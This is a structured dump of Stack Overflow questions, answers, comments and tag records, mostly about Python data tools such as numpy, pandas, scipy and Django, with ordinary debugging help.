has text: If you can't produce a diff offline, I would stay with uploading the whole file then. It's not excessively large. I don't get your _true_ question though: You are already looking for the existence of the barcode. Just `save()` the record (depending on your schema, you might have to [force it as UPDATE or INSERT](https://docs.djangoproject.com/en/2.0/ref/models/instances/#forcing-an-insert-or-update).
comment on: http://stackoverflow.com/q/48669326

http://stackoverflow.com/a/48686956
type: Answer
accepted answer of: http://stackoverflow.com/q/48686700
answers question: http://stackoverflow.com/q/48686700
has body: max(list) will return you the maximum value in a list. list = [1, 2, 3, 4, 5] print(max(list)) Then you just need to pass it as the maximum value on to Bokeh. Edit: Maybe this helps: Find maximum value of a column and return the corresponding row values using Pandas
type: AcceptedAnswer
score: 0
has comment: http://stackoverflow.com/comment/84375462
has comment: http://stackoverflow.com/comment/84375367

http://stackoverflow.com/a/48789643
downvote count: 0
upvote count: 2
type: Answer
has body: They are actually not the same. A potential way to see that is to change the print options. if __name__ == "__main__": np.set_printoptions(precision=15) main() Which henceforth outputs [0.3] [2.210672978251212] [0.3] [2.210672978251212] [0.3] [2.210672978251212] [0.300000004470348] [2.210672980079404] ... It this case, we are lucky: the epsilonic change could have been still lower than our machine precision, and we would have see nothing. Edit The answer is in the fortran source code. By searching for "call fcn(n,x" in the source code, it looks like the function is: first evaluated at the starting point then called if requested by nprint&gt;0 to enable printing of iterates. and finally called before termination. Hence the 3 prints one sees. If follows that printing of iterates is now "turned on", and the numerical (and printed) estimation of the Jacobian starts.
has comment: http://stackoverflow.com/comment/84581317
answers question: http://stackoverflow.com/q/48789531
score: 2

http://stackoverflow.com/comment/84311747
has text: Run `which python3` and then put that path on the shebang line, or just use `python3 filename.py`
score: 1
comment on: http://stackoverflow.com/q/48657020
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48648374
tagged with: random
favorite count: 0
answer count: 0
upvote count: 2
type: UnansweredQuestion
has body: I've setup a simulation example below. Setup: I have weekly data, say 6 years of data each week of around 1000 stocks some weeks more other weeks less than 1000. I randomly chose 75 stocks at time t0. At t1 some stocks dies (probability p, goes out of fashion) or leave the index (structural such as merging). I need to simulate stocks so that every week I've exactly 75 stocks. Every week some stocks dies (between 0 and 75) and I pick new ones not from the existing 75. I also check if the stock leaves do to structural reasons. Every week I calculate the returns of the 75 stocks. Questions: Is there an obvious why to improve the speed. I started with Pandas objects (group sort) which was to slow. I haven't tried to parallel the loop. I'm more interesting to hear if I should use numba (but it doesn't have the np.in1d function) or if there is a faster way to shuffle (I actually only need to shuffle the ones). I've also think about creating a fixed array with all stocks id using NaN, the problem here is that I need 75 names so I still need to filter out these NaN every week. Maybe this is to detailed problem for this forum, I apologize if that's the case Code: from timeit import default_timer import numpy as np # Create dataset n_weeks = 312 # Approximately 6 years of weekly data n_stocks = np.random.normal(1000, 5, n_weeks).astype(dtype=np.uint16) # Around 1000 stocks every week but not fixed idx_new_week = np.cumsum(np.hstack((0, n_stocks))) # We give each stock a stock idea n_obs = n_stocks.sum() stock_id = np.ones([n_obs], dtype=np.uint16) for j in range(1, n_weeks+1): stock_id[idx_new_week[j-1]:idx_new_week[j]] = np.cumsum(np.ones(n_stocks[j-1])) stock_rtn = np.random.normal(0, 0.25/np.sqrt(52), n_obs) # Simulated forward (one week ahead) return for each stock # Simulation part # Week 0 pick randomly 75 stocks # Week n &gt;=1 a stock dies for two reasons # 1) randomness (probability 'p') # 2) structural event (could be merger, fall out of index). # We cannot assume t…
tagged with: python
score: 2
tagged with: performance
type: Question
tagged with: numpy
downvote count: 0
has title: Python - path dependent simulation

http://stackoverflow.com/a/48743262
type: Answer
accepted answer of: http://stackoverflow.com/q/48741983
answers question: http://stackoverflow.com/q/48741983
score: 1
upvote count: 1
has body: Judging by the logs you get, the python function fails constantly, somewhere just after the logging. Look at the values of i and j - they never get past 0s; all that happens is Wait Until Keyword Succeeds continues to execute the function, and it continues to fail every time. Look at the Robotframework's execution log - it might provide details/backtraces what caused the failure. If that doesn't help, log the exception with this antipattern: # ...inside the inner loop logger.info(jsonStr, also_console=True) try: send_email(jsonStr) except Exception as ex: # catch *any* exception logger.error('Failure: {}'.format(ex)) raise ex BTW, it's not an infinite loop, it will finish in 5 minutes with the way you call it.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84350664
type: Comment
type: QuestionComment
has text: @HubertGrzeskowiak I've tried RoboBrowser which hasn't worked.
comment on: http://stackoverflow.com/q/48676069
score: 1

http://stackoverflow.com/q/48796890
has answer: http://stackoverflow.com/a/48797500
downvote count: 0
accepted answer: http://stackoverflow.com/a/48796960
has body: I have a dataframe like the following: A B C Property Value 1 Bob b100 X1 prop1 a 2 Bob b100 X1 prop2 b 3 Bob b100 X2 prop1 c 4 Bob b100 Y1 prop1 a 5 Bob b100 Z prop9 b 6 Bob b200 X1 prop1 c 7 Bob b200 X1 prop2 d How can I use unstack, pivot, or some other method to only unstack the Property and Value columns? I am trying to obtain the following dataframe: A B C prop1 prop2 prop9 1 Bob b100 X1 a b - 2 Bob b100 X2 c - - 3 Bob b100 Y1 a a - 4 Bob b100 Z - - b 5 Bob b200 X1 c d -
tagged with: pandas
type: AnsweredQuestion
score: 3
has title: Pandas & python: unstack or pivot with many columns as indices?
favorite count: 0
type: Question
answer count: 2
tagged with: python
has answer: http://stackoverflow.com/a/48796960
possible better answer: http://stackoverflow.com/a/48797500
upvote count: 3

http://stackoverflow.com/comment/84481104
has text: `subdir=linux-64` for platform name. Not sure what you mean for given python version.. I'm not aware of conda having such a separation between python versions..
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48740730
type: AnswerComment

http://stackoverflow.com/comment/119256281
has text: This solution does not involve pipelines.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48673850
type: Comment

http://stackoverflow.com/comment/84378646
type: Comment
comment on: http://stackoverflow.com/a/48689811
has text: you are not correctly socket code: serversock = socket(AF_INET, SOCK_STREAM)
score: 0
type: AnswerComment

http://stackoverflow.com/q/48717810
answer count: 0
tagged with: homebrew
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84435582
tagged with: python
has comment: http://stackoverflow.com/comment/84435355
has comment: http://stackoverflow.com/comment/84434748
has title: Mopidy not in mac with python
has body: I cannot get mopidy to work with mac osx Yosemite and python 2.7. I installed gstreamer and installed everything modipy needs but I get this Traceback in the terminal when I try to run modipy: (oldpy) Connors-MacBook-Pro:~ connor$ mopidy Traceback (most recent call last): File "/Users/connor/anaconda3/envs/oldpy/bin/mopidy", line 7, in &lt;module&gt; from mopidy.__main__ import main File "/Users/connor/anaconda3/envs/oldpy/lib/python2.7/site-packages/mopidy/__main__.py", line 8, in &lt;module&gt; from mopidy.internal.gi import Gst # noqa: F401 File "/Users/connor/anaconda3/envs/oldpy/lib/python2.7/site-packages/mopidy/internal/gi.py", line 9, in &lt;module&gt; gi.require_version('Gst', '1.0') AttributeError: 'module' object has no attribute 'require_version' (oldpy) Connors-MacBook-Pro:~ connor$ here is the homebrew error i get when i try to install modipy with homebrew: (oldpy) Connors-MacBook-Pro:~ connor$ brew install mopidy ==&gt; Installing mopidy from mopidy/mopidy ==&gt; Downloading https://files.pythonhosted.org/packages/60/76/427ad1fbe879034e34 Already downloaded: /Users/connorwoodford/Library/Caches/Homebrew/mopidy-2.1.0.tar.gz ==&gt; python -c import setuptools... --no-user-cfg install --prefix=/usr/local/Cel Warning: Calling &lt;&lt;-EOS.undent is deprecated! Use &lt;&lt;~EOS instead. /usr/local/Homebrew/Library/Taps/mopidy/homebrew-mopidy/mopidy.rb:72:in `plist' Please report this to the mopidy/mopidy tap!
type: Question
has comment: http://stackoverflow.com/comment/84435891
has comment: http://stackoverflow.com/comment/84435024
has comment: http://stackoverflow.com/comment/84435340
has comment: http://stackoverflow.com/comment/84435906
score: 0
has comment: http://stackoverflow.com/comment/84434996
tagged with: macos
tagged with: gstreamer

http://stackoverflow.com/a/48650212
score: 1
has comment: http://stackoverflow.com/comment/84303346
has comment: http://stackoverflow.com/comment/84302272
upvote count: 1
has comment: http://stackoverflow.com/comment/84299455
has body: You can get required data with below request: import requests import json url = "http://divulgacandcontas.tse.jus.br/divulga/rest/v1/candidatura/buscar/2016/71072/2/candidato/250000004975" response = requests.get(url) print(response.json()) More specific info you can get as print(response.json()['bens']) or print(response.json()['partido']) etc...
has comment: http://stackoverflow.com/comment/84298605
has comment: http://stackoverflow.com/comment/84301571
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84301391
has comment: http://stackoverflow.com/comment/84300882
has comment: http://stackoverflow.com/comment/84302632
answers question: http://stackoverflow.com/q/48649787
type: Answer
accepted answer of: http://stackoverflow.com/q/48649787
has comment: http://stackoverflow.com/comment/84299399
has comment: http://stackoverflow.com/comment/84311297

http://stackoverflow.com/comment/128789263
type: Comment
has text: Happy to hear this! I needed both steps in my situation.
comment on: http://stackoverflow.com/a/70934279
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84354156
type: QuestionComment
comment on: http://stackoverflow.com/q/48678044
score: 0
type: Comment
has text: @StephenRauch I am fairly beginner in python. I didn't know about mutable and immutable objects. The other questioner seems to know about that already

http://stackoverflow.com/q/48653309
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84316597
score: 1
type: Question
has answer: http://stackoverflow.com/a/48653614
downvote count: 0
answer count: 1
has title: openpyxl ruins files formatting after changing cells
favorite count: 0
type: UnansweredQuestion
has body: I have some weird formatting for my .xlsx formatting (template for UPO). The template looks like this: After changing value in any cell, the formatting is ruined, the image disappears: The code that changes the cell looks like this: wb2 = load_workbook('template.xlsx') ws2 = wb2.active ws2['A1'] = user.name wb2.save('template.xlsx') Standard stuff, but something isn't right. Should I just use another module instead of openpyxl?
tagged with: openpyxl
has comment: http://stackoverflow.com/comment/84440152

http://stackoverflow.com/q/48776238
tagged with: slice
type: Question
answer count: 2
score: 5
has body: I began to work with Python and started to concern about the slicing operator with negative values. Let me show my problem with the following code example: a = [1,2,3,4,5] a[-1] # a) returns [5], which is obvious a[-1:1] # b) returns an empty list [], but why? So what I already know from other questions here on StackOverflow is, how slicing works with a negative start index and an omitted stop index. But my question is: Why does case b) (negative start and positive stop) not return something like [5, 1]? Because I select the last element of list and everything up to the second element, it would make sense this way. I would be glad if someone could explain it to me. Thanks!
has title: Python Slice operator: Negative start combined with Positive stop
has answer: http://stackoverflow.com/a/48776373
favorite count: 0
has comment: http://stackoverflow.com/comment/84554483
tagged with: python-3.x
upvote count: 5
downvote count: 0
has answer: http://stackoverflow.com/a/48776370
accepted answer: http://stackoverflow.com/a/48776370
tagged with: python
possible better answer: http://stackoverflow.com/a/48776373
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84554397

http://stackoverflow.com/a/48812664
has body: Creating your data array: In [97]: txt = """time;loc1_x;loc1_y;loc1_z ...: 0;0.0068;0.0419;0.0107 ...: 0.00042;0.0083;0.042;0.021 ...: 0.00083;0.0083;0.045;0.009""".splitlines() In [98]: data = np.genfromtxt(txt, delimiter=';', dtype=None, names=True) In [99]: data Out[99]: array([(0. , 0.0068, 0.0419, 0.0107), (0.00042, 0.0083, 0.042 , 0.021 ), (0.00083, 0.0083, 0.045 , 0.009 )], dtype=[('time', '&lt;f8'), ('loc1_x', '&lt;f8'), ('loc1_y', '&lt;f8'), ('loc1_z', '&lt;f8')]) Accessing fields by name In [100]: data['time'] Out[100]: array([0. , 0.00042, 0.00083]) In [101]: data['loc1_x'] Out[101]: array([0.0068, 0.0083, 0.0083]) A string is just a string: In [102]: 'loc1_x' Out[102]: 'loc1_x' In [103]: loc_sens = np.array(['loc1_x', 'loc1_y', 'loc1_z']) ...: trans = np.array([[1, 0, 0], [0, 0, 1], [0, -1, 0]]) ...: An array of strings is just an array of strings In [104]: loc_sens Out[104]: array(['loc1_x', 'loc1_y', 'loc1_z'], dtype='&lt;U6') It doesn't make much sense to dot on strings In [105]: np.dot(loc_sens, trans) ... ValueError: data type must provide an itemsize Python does define multiplication for strings, but I don't think that's what you want: In [106]: [str*n for n, str in zip([1,2,3],loc_sens)] Out[106]: ['loc1_x', 'loc1_yloc1_y', 'loc1_zloc1_zloc1_z'] What I suspect you want is 3 of the columns of data as 3x3 matrix. In [107]: locs = np.stack((data['loc1_x'], data['loc1_y'], data['loc1_z'])) In [108]: locs Out[108]: array([[0.0068, 0.0083, 0.0083], [0.0419, 0.042 , 0.045 ], [0.0107, 0.021 , 0.009 ]]) In [109]: np.dot(locs, trans) Out[109]: array([[ 0.0068, -0.0083, 0.0083], [ 0.0419, -0.045 , 0.042 ], [ 0.0107, -0.009 , 0.021 ]]) Or maybe you want to use locs.T (transpose). Converting several fields of a structured array into a 2d array is a little tricky. Plus there have been changes in how multiple fields can accessed (in v 1.14). So I choose the safest - stacking (concatenate as columns) of the individual fields. From comments and code it sounds like…
score: 1
answers question: http://stackoverflow.com/q/48803036
has comment: http://stackoverflow.com/comment/84647671
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48803036
type: Answer
upvote count: 1

http://stackoverflow.com/comment/84504203
type: Comment
has text: @AkashDas I ran this code and I got `Accepted!` as the output.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48751646

apache2
tags question: http://stackoverflow.com/q/48716612
tags question: http://stackoverflow.com/q/48765521
tag name: apache2
tags question: http://stackoverflow.com/q/48729750
type: Tag

file
type: Tag
tags question: http://stackoverflow.com/q/48749789
tags question: http://stackoverflow.com/q/48656460
tags question: http://stackoverflow.com/q/48799825
tags question: http://stackoverflow.com/q/48782300
tags question: http://stackoverflow.com/q/48700570
tags question: http://stackoverflow.com/q/48772111
tag name: file
tags question: http://stackoverflow.com/q/48790381
tags question: http://stackoverflow.com/q/48715569
tags question: http://stackoverflow.com/q/48791109
tags question: http://stackoverflow.com/q/48736281
tags question: http://stackoverflow.com/q/48776284
tags question: http://stackoverflow.com/q/48758904
tags question: http://stackoverflow.com/q/48733193
tags question: http://stackoverflow.com/q/48739175
tags question: http://stackoverflow.com/q/48778797
tags question: http://stackoverflow.com/q/48699286
tags question: http://stackoverflow.com/q/48713681
tags question: http://stackoverflow.com/q/48716244
tags question: http://stackoverflow.com/q/48724140
tags question: http://stackoverflow.com/q/48765363
tags question: http://stackoverflow.com/q/48717279
tags question: http://stackoverflow.com/q/48738851
tags question: http://stackoverflow.com/q/48650546
tags question: http://stackoverflow.com/q/48802835
tags question: http://stackoverflow.com/q/48730199
tags question: http://stackoverflow.com/q/48794036
tags question: http://stackoverflow.com/q/48768100
tags question: http://stackoverflow.com/q/48672676
tags question: http://stackoverflow.com/q/48791186
tags question: http://stackoverflow.com/q/48711979

http://stackoverflow.com/comment/84575745
type: QuestionComment
has text: Your options are named `command` and `subcommand` not `parser_command` and `parser_subcommand` (and that `elif` code is invalid python).
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48786817

annotate
tag name: annotate
type: Tag
tags question: http://stackoverflow.com/q/48727765
tags question: http://stackoverflow.com/q/48676568

http://stackoverflow.com/q/48707975
has body: Usual Rock Paper Scissors, but my if-else statement doesn't work. I would to appreciate if anyone could spot my errors. def main(): #ask for input and create a list to check valid input list = ['rock', 'paper', 'scissors'] player_A = input('Rock, paper or scissors? ').lower() player_B = input('Rock, paper or scissors? ').lower() if player_A not in list or player_B not in list: print('Invalid value, please enter rock, paper or scissors') return else: rule(player_A,player_B) def rule(x,y): if (x,y == ['rock', 'paper']) or (x,y == ['paper', 'scissors']) or (x,y == ['scissors', 'rock']): print('{} wins'.format(y)) print('{} loses'.format(x)) elif (x,y == ['paper', 'rock']) or (x,y == 'scissors', 'paper') or (x,y == ['rock', 'scissors']): print('{} wins'.format(x)) print('{} wins'.format(y)) else: print('fair') main() Also, I would also like to know if there is a faster way to determine the win condition, seems quite clumsy to check case by case.
score: 0
has answer: http://stackoverflow.com/a/48708074
has comment: http://stackoverflow.com/comment/84414616
has comment: http://stackoverflow.com/comment/84414757
answer count: 3
has answer: http://stackoverflow.com/a/48708082
accepted answer: http://stackoverflow.com/a/48708082
tagged with: python
has answer: http://stackoverflow.com/a/48708269
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48708074
has comment: http://stackoverflow.com/comment/84414576
has comment: http://stackoverflow.com/comment/84414754
has comment: http://stackoverflow.com/comment/84414778
type: Question
has title: A very simple program:Rock Paper Scissors (python)

http://stackoverflow.com/q/48681634
has title: Adding a string to all keys in dictionary (Python)
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/48681835
accepted answer: http://stackoverflow.com/a/48681835
possible better answer: http://stackoverflow.com/a/48682055
tagged with: python
tagged with: dictionary
upvote count: 27
score: 25
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/67604262
has body: I'm new to Python and Pyspark and I'm practicing TF-IDF. I split all words from sentences in the txt file, removed punctuations, removed words that are in the stop-words list, and saved them as a dictionary with code snippet below. x = text_file.flatmap(lambda line: str_clean(line).split() x = x.filter(lambda word: word not in stopwords x = x.reduceByKey(lambda a,b: a+b) x = x.collectAsMap() I have 10 different txt files for this same process. And I'd like to add a string like "@d1" to keys in dictionary so that I can indicate that the key is from document 1. How can I add "@d1" to all keys in the dictionary? Essentially my dictionary is in the form: {'word1': 1, 'word2': 1, 'word3': 2, ....} And I would like it to be: {'word1@d1': 1, 'word2@d1': 1, 'word3@d1': 2, ...}
type: Question
has answer: http://stackoverflow.com/a/48682055
downvote count: 2
answer count: 3

http://stackoverflow.com/a/48819577
has body: There were a few issues, but it turns out the root issue was that serlializer.data was for whatever reason returning a string and not an array of objects. I ended up replacing the ModelSerializer with a regular Serializer here: class RadioSwitchSerializer(serializers.Serializer): mnemonic = serializers.CharField(max_length=20) new_input = serializers.CharField(max_length=20) schedule_time = serializers.DateTimeField(allow_null=True) As per Jerin's answer, I also fixed up the lines accessing the stream dictionary to use square brackets rather than the dot operator. These two things have fixed the issue.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48798095
score: 0
answers question: http://stackoverflow.com/q/48798095
type: Answer

http://stackoverflow.com/q/48789531
accepted answer: http://stackoverflow.com/a/48791611
has answer: http://stackoverflow.com/a/48790031
favorite count: 0
has title: Why does scipy.optimize.root call the callback function with the initial value four times?
possible better answer: http://stackoverflow.com/a/48789643
has comment: http://stackoverflow.com/comment/84580984
tagged with: python
has answer: http://stackoverflow.com/a/48789643
score: 2
type: AnsweredQuestion
upvote count: 3
linked to: http://stackoverflow.com/q/19141432
downvote count: 1
tagged with: scipy
has answer: http://stackoverflow.com/a/48791611
type: Question
tagged with: equation-solving
has comment: http://stackoverflow.com/comment/84581119
has body: I am playing around with scipy.optimize.root and I am trying to understand what it does and how it works. My sample code is as follows: import numpy as np from scipy.optimize import root def func(x): """ test function x + 2 * np.cos(x) = 0 """ f = x + 2 * np.cos(x) print x,f return f def main(): sol = root(func, 0.3) if __name__ == "__main__": main() With the print statement in func I get following output: [ 0.3] [ 2.21067298] [ 0.3] [ 2.21067298] [ 0.3] [ 2.21067298] [ 0.3] [ 2.21067298] [-5.10560121] [-4.33928627] [-1.52444136] [-1.43176461] [-0.80729233] [ 0.57562174] [-1.01293614] [ 0.0458079] [-1.03071618] [-0.0023067] [-1.02986377] [ 7.49624786e-06] [-1.02986653] [ 1.20746968e-09] [-1.02986653] [ -6.66133815e-16] So far so good. I was now wondering why it calls with the initial value four times? Thank you very much.
has comment: http://stackoverflow.com/comment/84582103
answer count: 3

http://stackoverflow.com/comment/135673221
comment on: http://stackoverflow.com/a/48867991
type: AnswerComment
score: 0
type: Comment
has text: @DanielX2010 is correct. View this documentation: https://cloud.google.com/bigquery/docs/samples/bigquery-update-table-cmek

http://stackoverflow.com/comment/84514583
has text: I removed it, but the error and traceback still the same
type: Comment
comment on: http://stackoverflow.com/a/48756562
score: 0
type: AnswerComment

http://stackoverflow.com/a/48760074
has comment: http://stackoverflow.com/comment/84521047
type: Answer
has comment: http://stackoverflow.com/comment/84520959
answers question: http://stackoverflow.com/q/48759853
has comment: http://stackoverflow.com/comment/84520890
has comment: http://stackoverflow.com/comment/84520978
has comment: http://stackoverflow.com/comment/84521164
has comment: http://stackoverflow.com/comment/84521246
has comment: http://stackoverflow.com/comment/84521034
has comment: http://stackoverflow.com/comment/84521375
score: 0
has body: Your error is here: while r.successful() and r.t&lt;t1: r.integrate(r.t+dt) for i in range(2): x[i].append(r.y[i]) t.append(r.t) u.append(f[1]) &lt;&lt;&lt;&lt;&lt;&lt; HERE #print(t) return x,t,u And same here: r=ode(f[0]).set_integrator('dopri5',method='bdf') You try to access a function object like an array. What you probably want is to access the return value like an array: f(p1, p2, p3)[0]
has comment: http://stackoverflow.com/comment/84520838
has comment: http://stackoverflow.com/comment/84521183

http://stackoverflow.com/comment/84534974
has text: Also: the `else` in a `try` means *if no exception occurred*. So here if nothing went wrong, you're raising an exception just in case?
comment on: http://stackoverflow.com/q/48767247
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/48799993
has comment: http://stackoverflow.com/comment/84602867
upvote count: 2
type: UnansweredQuestion
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/84603133
answer count: 0
has title: How can I mimic this select() function from R in python?
has comment: http://stackoverflow.com/comment/84603247
has body: In R, if I want to manipulate columns of a data frame, I can just do something like this: df %&gt;% select(starts_with("main"),contains("ID"),everything(),-name) The above statement brings anything that starts with "main" up front, followed by anything that contains "ID", then every other column in the data frame, and finally finishing it out by removing name column. I need to be able to replicate the logic in Python but I can't seem to find a similar simple way of achieving the same thing.
type: Question
tagged with: http://stackoverflow.com/tag/r
downvote count: 0
has comment: http://stackoverflow.com/comment/84605514
favorite count: 0

http://stackoverflow.com/q/48728626
possible better answer: http://stackoverflow.com/a/48728813
score: 2
has answer: http://stackoverflow.com/a/48728813
downvote count: 0
has comment: http://stackoverflow.com/comment/84456454
has comment: http://stackoverflow.com/comment/84456267
has comment: http://stackoverflow.com/comment/84456307
accepted answer: http://stackoverflow.com/a/48728770
type: AnsweredQuestion
has title: Reading floats inside strings from a file using numpy
has comment: http://stackoverflow.com/comment/84456365
tagged with: scipy
has comment: http://stackoverflow.com/comment/84456333
type: Question
upvote count: 2
tagged with: numpy
has answer: http://stackoverflow.com/a/48728770
has comment: http://stackoverflow.com/comment/84456443
answer count: 2
has comment: http://stackoverflow.com/comment/84456480
favorite count: 0
has comment: http://stackoverflow.com/comment/84456250
has comment: http://stackoverflow.com/comment/84456345
tagged with: multidimensional-array
has body: I have a text file like this: "-3.588920831680E-02","1.601887196302E-01","1.302309112549E+02" "3.739478886127E-01","1.782759875059E-01","6.490543365479E+01" "3.298096954823E-01","6.939357519150E-02","2.112392578125E+02" "-2.319437451661E-02","1.149862855673E-01","2.712340698242E+02" "-1.015115305781E-01","-1.082316488028E-01","6.532022094727E+01" "-5.374089814723E-03","1.031072884798E-01","5.510117187500E+02" "6.748274713755E-02","1.679160743952E-01","4.033969116211E+02" "1.027429699898E-01","1.379162818193E-02","2.374352874756E+02" "-1.371455192566E-01","1.483036130667E-01","2.703260498047E+02" "NULL","NULL","NULL" "3.968210220337E-01","1.893606968224E-02","2.803018188477E+01" I tried to read this textfile using numpy as: dat = np.genfromtxt('data.txt',delimiter=',',dtype='str') print("dat = {}".format(dat)) # now when I try to convert to float dat = dat.astype(np.float) # it fails # try to make it float dat = np.char.strip(dat, '"').astype(float) File "test.py", line 25, in &lt;module&gt; dat = dat.astype(np.float) # it fails ValueError: could not convert string to float: '"-3.588920831680E-02"' How can I fix this error? Related links: https://docs.scipy.org/doc/numpy/reference/generated/numpy.genfromtxt.html#numpy.genfromtxt
tagged with: python

http://stackoverflow.com/comment/84363907
type: QuestionComment
comment on: http://stackoverflow.com/q/48683238
has text: I can print aa, bb, cc :-w
score: 0
type: Comment

http://stackoverflow.com/q/48676254
has body: Inside the BasePlugin module I have 2 main things defined. A class called BasePlugin, and a decorator that is not part of the class called ValidateEvent. When I write a plugin and run: from BasePlugin import * This works and I can use the decorator on methods inside the plugin class. However, if I try to decorate a method inside the BasePlugin class, it cannot find the decorator. I have tried many ways to reference the decorator, and even tried to import it in to it's own module but nothing seems to work. I would rather not create another module for the decorator. Is it possible to reference a decorator inside a class that is defined in the same module but not as part of the class? Edit: Here is a snippet of the offending code #BasePlugin.py class BasePlugin(): def __init__(self, event_manager): pass @ValidateEvent def ProvideModeEventHandler(self, event): self._mode = event.Message def ValidateEvent(func): """ Decorator used to check if the event(s) fired should be handled by the plugin. """ def new_func(plugin, event, *args, **kwargs): if plugin.Name == event.Name or event.Name == '': return func(plugin, event, *args, **kwargs) return new_func
accepted answer: http://stackoverflow.com/a/48676774
score: 0
has comment: http://stackoverflow.com/comment/84351280
answer count: 1
tagged with: python-3.x
tagged with: python
tagged with: python-decorators
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84350967
type: Question
has answer: http://stackoverflow.com/a/48676774
has title: How can I use a decorator inside a class with the definition in the same module?

http://stackoverflow.com/comment/84455382
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48728035
has text: Again, thank you. That helps to clarify. Is there a way to check for only the first run of digits? In some of my testing of this, the '\n more stuff' can contain additional runs of numbers that I do not want to sort on. I only want to sort on the contents of the first line of each list item.

http://stackoverflow.com/q/48731199
type: AnsweredQuestion
score: 3
upvote count: 3
type: Question
tagged with: numpy
answer count: 2
has answer: http://stackoverflow.com/a/48731229
downvote count: 0
tagged with: int
tagged with: pandas
tagged with: string
has title: read data to numpy array
favorite count: 0
has body: I have a file below label,feature 0,70 80 90 50 33 58 ... 2,53 56 84 56 25 12 ... 1,32 56 84 89 65 87 ... ... 2,56 48 57 56 99 22 ... 4,25 65 84 54 54 15 ... I want the data could be Ytrain = [0,2,1,...2,4] (int, ndarray) Xtrain = [[70 80 90 50 33 58...], [53 56 80 56 25 12...], ... [25 65 84 54 54 15...]] (int, ndarray) here is my code data = pd.read_csv('train.csv') Ytrain = np.array(data.iloc[:, 0]).astype(int) train = np.array(data.iloc[:, 1:]).astype(str) Xtrain = [] for i in range(len(train)): tmp = [int(x) for x in train[i][0].split()] Xtrain.append(tmp) Xtrain = np.array(Xtrain) do you have a better way to do that ?
accepted answer: http://stackoverflow.com/a/48731229
possible better answer: http://stackoverflow.com/a/48731247
tagged with: python
has answer: http://stackoverflow.com/a/48731247

http://stackoverflow.com/q/48751259
tagged with: python
has answer: http://stackoverflow.com/a/48751301
type: Question
has body: I'm simply trying to create a (2,2,3) Numpy array, and have done the following: a = np.array[[[1,2,3], [4,5,6]], [[6,7,8], [9,10,11]]] I however get the following error: File "xyz.py", line 6, in &lt;module&gt; [9,10,11]]] TypeError: 'builtin_function_or_method' object has no attribute '__getitem__' How can I solve this issue? Thanks.
tagged with: numpy
score: 0
tagged with: arrays
answer count: 1
linked to: http://stackoverflow.com/q/13075632
type: UnansweredQuestion
has title: Creating a (2,2,3) Numpy array

http://stackoverflow.com/a/48671292
accepted answer of: http://stackoverflow.com/q/48670877
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84341323
score: 0
has body: You can combine the dataframes with pd.concat. import pandas as pd df1 = pd.DataFrame({'AAA': [1, 2, 3, 4, 5, 6]}).T df2 = pd.DataFrame({'BBB': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]}).T df_all = pd.concat([df1, df2]) Output (which you can format as you see necessary): 0 1 2 3 4 5 6 7 8 9 AAA 1 2 3 4 5 6 NaN NaN NaN NaN BBB 1 2 3 4 5 6 7.0 8.0 9.0 10.0 Write to CSV [edit: with a creative delimiter]: df_all.to_csv('df_all.csv', sep = ',') Import the CSV and remove spaces: with open('df_all.csv', mode = 'r') as file_in: with open('df_all_no_spaces.txt', mode = 'w') as file_out: text = file_in.read() text = text.replace(',', '') file_out.write(text) There's gotta be a more elegant way to do that last bit, but this works. Perhaps for good reason, pandas doesn't support exporting to CSV with no delimiter. Edit: you can write to CSV with commas and then remove them. :)
type: Answer
has comment: http://stackoverflow.com/comment/84341615
answers question: http://stackoverflow.com/q/48670877
has comment: http://stackoverflow.com/comment/84341434
has comment: http://stackoverflow.com/comment/84341478

http://stackoverflow.com/comment/84535443
has text: Can you add expected output to question? Because bad formating of comments. Thanks.
comment on: http://stackoverflow.com/a/48680999
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48646750
has body: In the geoviews guide for Bokeh, it states that Bokeh only supports Mercator projection, and yet most of the example projections use PlateCarree, and then the output looks like Mercator. Does anyone have an idea of what is going on with the projection and the output of the figure?
tagged with: bokeh
answer count: 1
tagged with: geoviews
has answer: http://stackoverflow.com/a/48647549
type: AnsweredQuestion
score: 3
downvote count: 0
favorite count: 0
type: Question
tagged with: holoviews
accepted answer: http://stackoverflow.com/a/48647549
tagged with: python
has title: Geoviews -- Mercator or PlateCarree
upvote count: 3

http://stackoverflow.com/comment/84556047
comment on: http://stackoverflow.com/a/48718661
has text: I am currently calling my product ID as per the description in Update 2. A little bit lost in terms of how I can call the product quantity within the form post.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48740728
score: 3
tagged with: google-cloud-python
has title: AttributeError due to Google Cloud Datastore when running python3
tagged with: google-cloud-platform
tagged with: google-cloud-datastore
linked to: http://stackoverflow.com/q/8949252
downvote count: 0
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84766048
